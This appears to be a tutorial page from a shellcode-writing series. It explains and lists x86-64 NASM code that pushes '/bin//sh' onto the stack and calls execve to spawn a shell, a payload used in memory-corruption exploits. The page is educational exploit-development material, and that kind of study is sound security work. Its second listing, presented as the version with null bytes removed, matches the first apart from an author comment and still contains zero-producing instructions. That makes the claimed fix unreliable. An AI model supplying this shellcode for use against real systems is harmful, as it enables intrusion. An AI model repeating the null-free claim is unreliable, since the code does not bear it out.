Shellcode 1 -> execve(/bin/sh) STACK PUSH
Now that we have covered various techniques to make shellcode, let's actually look at an example
execve() is a syscall in Linux that takes in 3 arguments and executes a command

These parameters/arguments will go in specific registers:

So, 59 is the rax, filename goes in rdi (/bin/sh), paramter to use with /bin/sh goes in rsi and environment variable (we really don't care about this right now) goes in rdx.
In Linux everything is a file. So is /bin/sh
Note that execve takes in a string as an input for RDI
In Linux system calls, strings are always null terminated. So we will somehow be pushing "/bin/sh\x00" onto the stack.
Cool, so we are clear that we have to push /bin/sh on the stack, make RDI reference this. Then we need to have RSI reference address of /bin//sh in memory which can be done with rsp. We can also have RDX reference this too.
so, the stack looks like:
Also, length of "/bin/sh" is 7 bytes. We need to make this 8 bytes to push absolute value on the stack. This is why instead of "/bin/sh" we will be pushing "/bin//sh" (same effect, 8 bytes instruction)

Since stack grows from high to low memory, we need to push in this "/bin//sh" in reverse order.

; /bin//sh in reverse: 68732f2f6e69622f
; execve parameters -> rax:59, rdi->/bin//sh, rsi->0, rdx->0
; stack-> 0x0-> /bin//sh(in reverse) -> 0x0
; point-> Null terminator for rdi RDI RSI and RDX
global _start
section .text
_start:
xor rax,rax
push rax ; first NULL terminator
mov rbx,0x68732f2f6e69622f
push rbx ; Moving /bin//sh in reverse onto the stack
mov rdi,rsp ; setting parameter /bin//sh as rdi for execve
push rax ; 3rd null terminator on the stack
mov rdx,rsp ; setting rdx
push rdi ; pushing the address of /bin//sh in rdi
mov rsi,rsp
mov rax,59 ; setting execve syscall
syscall
; not exiting since we need to retain the shell
With explanation, I wrote my code above which as you can see is working to give shell.

But upon inspecting this in GDB we can see that a lot of 0s are there so this might not work in C.

Let's remove those 0s.
; /bin//sh in reverse: 68732f2f6e69622f
; execve parameters -> rax:59, rdi->/bin//sh, rsi->0, rdx->0
; stack-> 0x0-> /bin//sh(in reverse) -> 0x0
; point-> Null terminator for rdi RDI RSI and RDX
; author: harshit
global _start
section .text
_start:
xor rax,rax
push rax ; first NULL terminator
mov rbx,0x68732f2f6e69622f
push rbx ; Moving /bin//sh in reverse onto the stack
mov rdi,rsp ; setting parameter /bin//sh as rdi for execve
push rax ; 3rd null terminator on the stack
mov rdx,rsp ; setting rdx
push rdi ; pushing the address of /bin//sh in rdi
mov rsi,rsp
mov rax,59 ; setting execve syscall
syscall
; not exiting since we need to retain the shell
OBJDUMP shows no 0s now

we can extract this and test in our skeleton C code using objdump comand line fu in the previous article
Last updated
Was this helpful?